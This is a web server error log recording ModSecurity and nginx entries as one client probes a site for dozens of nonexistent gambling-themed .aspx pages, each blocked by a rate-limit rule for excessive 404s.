[Wed Mar 11 17:21:33.711680 2026] [:error] [pid 23482:tid 23491] [client 51.77.216.36:55774] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abE0HcrYaTAnN_mLXynKYwAAAQY"]
2026/03/11 17:21:33 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20soft.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:35.431892 2026] [:error] [pid 23482:tid 23485] [client 51.77.216.36:55804] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abE0H8rYaTAnN_mLXynKZAAAAQA"]
2026/03/11 17:21:35 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:48 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:48.079838 2026] [:error] [pid 23482:tid 23506] [client 51.77.216.36:55948] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abE0LMrYaTAnN_mLXynKbQAAARU"]
[Wed Mar 11 17:21:49.806783 2026] [:error] [pid 54045:tid 54065] [client 51.77.216.36:55968] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abE0LSRcKzQ1f-N8TgRzNwAAANI"]
2026/03/11 17:21:49 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20wallet.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:51 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:51.658029 2026] [:error] [pid 44995:tid 45001] [client 51.77.216.36:55994] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abE0LzoOSr9ks_axo6ONuAAAAkQ"]
2026/03/11 17:21:53 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:53.385683 2026] [:error] [pid 54045:tid 54070] [client 51.77.216.36:56016] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abE0MSRcKzQ1f-N8TgRzPwAAANc"]
[Wed Mar 11 17:21:55.041208 2026] [:error] [pid 54045:tid 54065] [client 51.77.216.36:56036] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abE0MyRcKzQ1f-N8TgRzRQAAANI"]
2026/03/11 17:21:55 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pgzeed%20gold.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgzeed%20gold.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:56 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:56.738498 2026] [:error] [pid 54045:tid 54052] [client 51.77.216.36:56050] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abE0NCRcKzQ1f-N8TgRzSQAAAMU"]
2026/03/11 17:22:38 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20demo.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20demo.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:38.140858 2026] [:error] [pid 44995:tid 44997] [client 51.77.216.36:56734] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abE0XjoOSr9ks_axo6ON6gAAAkA"]
[Wed Mar 11 17:22:39.748883 2026] [:error] [pid 53955:tid 54025] [client 51.77.216.36:56774] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "abE0X9P1Uf6qBkbxZg_kXwAAAIY"]
2026/03/11 17:22:39 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20free.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20free.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:22:51 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20game%20666.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20game%20666.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:51.594473 2026] [:error] [pid 44882:tid 44895] [client 51.77.216.36:56996] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abE0a1C06UlbDFYZNg38zQAAAgs"]
2026/03/11 17:22:53 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20joker.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:53.313956 2026] [:error] [pid 54045:tid 54055] [client 51.77.216.36:57018] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abE0bSRcKzQ1f-N8TgRz2AAAAMg"]
2026/03/11 17:22:54 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:54.941317 2026] [:error] [pid 45143:tid 45155] [client 51.77.216.36:57048] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abE0biEXSpYdWImkpzbJCAAAAYo"]
2026/03/11 17:22:56 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20soft.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:56.580420 2026] [:error] [pid 54045:tid 54051] [client 51.77.216.36:57084] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abE0cCRcKzQ1f-N8TgRz4gAAAMQ"]
2026/03/11 17:22:58 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:58.353710 2026] [:error] [pid 54045:tid 54049] [client 51.77.216.36:57114] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abE0ciRcKzQ1f-N8TgRz5QAAAMI"]
2026/03/11 17:22:59 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:22:59.957948 2026] [:error] [pid 54045:tid 54071] [client 51.77.216.36:57160] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abE0cyRcKzQ1f-N8TgRz6QAAANg"]
2026/03/11 17:23:01 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:01.587499 2026] [:error] [pid 23482:tid 23505] [client 51.77.216.36:57184] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abE0dcrYaTAnN_mLXynKmQAAARQ"]
2026/03/11 17:23:13 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20true%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20true%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:13.888509 2026] [:error] [pid 54045:tid 54066] [client 51.77.216.36:57360] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abE0gSRcKzQ1f-N8TgR0DAAAANM"]
2026/03/11 17:23:15 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20wallet%20777%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20777%20auto.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:15.674069 2026] [:error] [pid 54045:tid 54061] [client 51.77.216.36:57410] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abE0gyRcKzQ1f-N8TgR0GgAAAM4"]
[Wed Mar 11 17:23:17.312531 2026] [:error] [pid 23482:tid 23488] [client 51.77.216.36:57440] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abE0hcrYaTAnN_mLXynKpwAAAQM"]
2026/03/11 17:23:17 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20wallet%20iwallet%20link%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20iwallet%20link%20login.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:23:18 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:18.983795 2026] [:error] [pid 45143:tid 45159] [client 51.77.216.36:57458] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abE0hiEXSpYdWImkpzbJIQAAAY4"]
2026/03/11 17:23:20 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slot1234%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot1234%20pg.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:20.596268 2026] [:error] [pid 23482:tid 23505] [client 51.77.216.36:57482] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abE0iMrYaTAnN_mLXynKqQAAARQ"]
2026/03/11 17:23:22 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /slotxo%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slotxo%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:22.414084 2026] [:error] [pid 23482:tid 23504] [client 51.77.216.36:57500] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abE0isrYaTAnN_mLXynKrAAAARM"]
[Wed Mar 11 17:23:24.046339 2026] [:error] [pid 23482:tid 23503] [client 51.77.216.36:57514] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abE0jMrYaTAnN_mLXynKrQAAARI"]
2026/03/11 17:23:24 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /spg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spg%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:25.731924 2026] [:error] [pid 54045:tid 54068] [client 51.77.216.36:57544] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abE0jSRcKzQ1f-N8TgR0LgAAANU"]
2026/03/11 17:23:25 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:27.422249 2026] [:error] [pid 23482:tid 23486] [client 51.77.216.36:57570] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abE0j8rYaTAnN_mLXynKrwAAAQE"]
2026/03/11 17:23:27 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:29.100041 2026] [:error] [pid 54045:tid 54067] [client 51.77.216.36:57596] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abE0kSRcKzQ1f-N8TgR0NwAAANQ"]
2026/03/11 17:23:29 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:23:30 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:30.733931 2026] [:error] [pid 45143:tid 45161] [client 51.77.216.36:57624] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abE0kiEXSpYdWImkpzbJLQAAAZA"]
[Wed Mar 11 17:23:32.358043 2026] [:error] [pid 54045:tid 54066] [client 51.77.216.36:57646] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abE0lCRcKzQ1f-N8TgR0QAAAANM"]
2026/03/11 17:23:32 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:23:34 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:34.012203 2026] [:error] [pid 45143:tid 45152] [client 51.77.216.36:57664] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abE0liEXSpYdWImkpzbJMAAAAYc"]
[Wed Mar 11 17:23:35.663003 2026] [:error] [pid 54045:tid 54050] [client 51.77.216.36:57688] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abE0lyRcKzQ1f-N8TgR0RgAAAMM"]
2026/03/11 17:23:35 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /superslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:23:55 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /ufabet%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:23:55.726623 2026] [:error] [pid 54045:tid 54056] [client 51.77.216.36:57976] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abE0qyRcKzQ1f-N8TgR0gAAAAMk"]
[Wed Mar 11 17:24:07.999480 2026] [:error] [pid 54045:tid 54064] [client 51.77.216.36:58124] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abE0tyRcKzQ1f-N8TgR0mgAAANE"]
2026/03/11 17:24:07 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /ufabet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:09.610819 2026] [:error] [pid 44995:tid 45018] [client 51.77.216.36:58136] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abE0uToOSr9ks_axo6OONAAAAlU"]
2026/03/11 17:24:09 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /ufabet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20net.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:24:11 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /ufabet%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet%20777.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:24:11.237614 2026] [:error] [pid 54045:tid 54052] [client 51.77.216.36:58146] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abE0uyRcKzQ1f-N8TgR0ngAAAMU"]
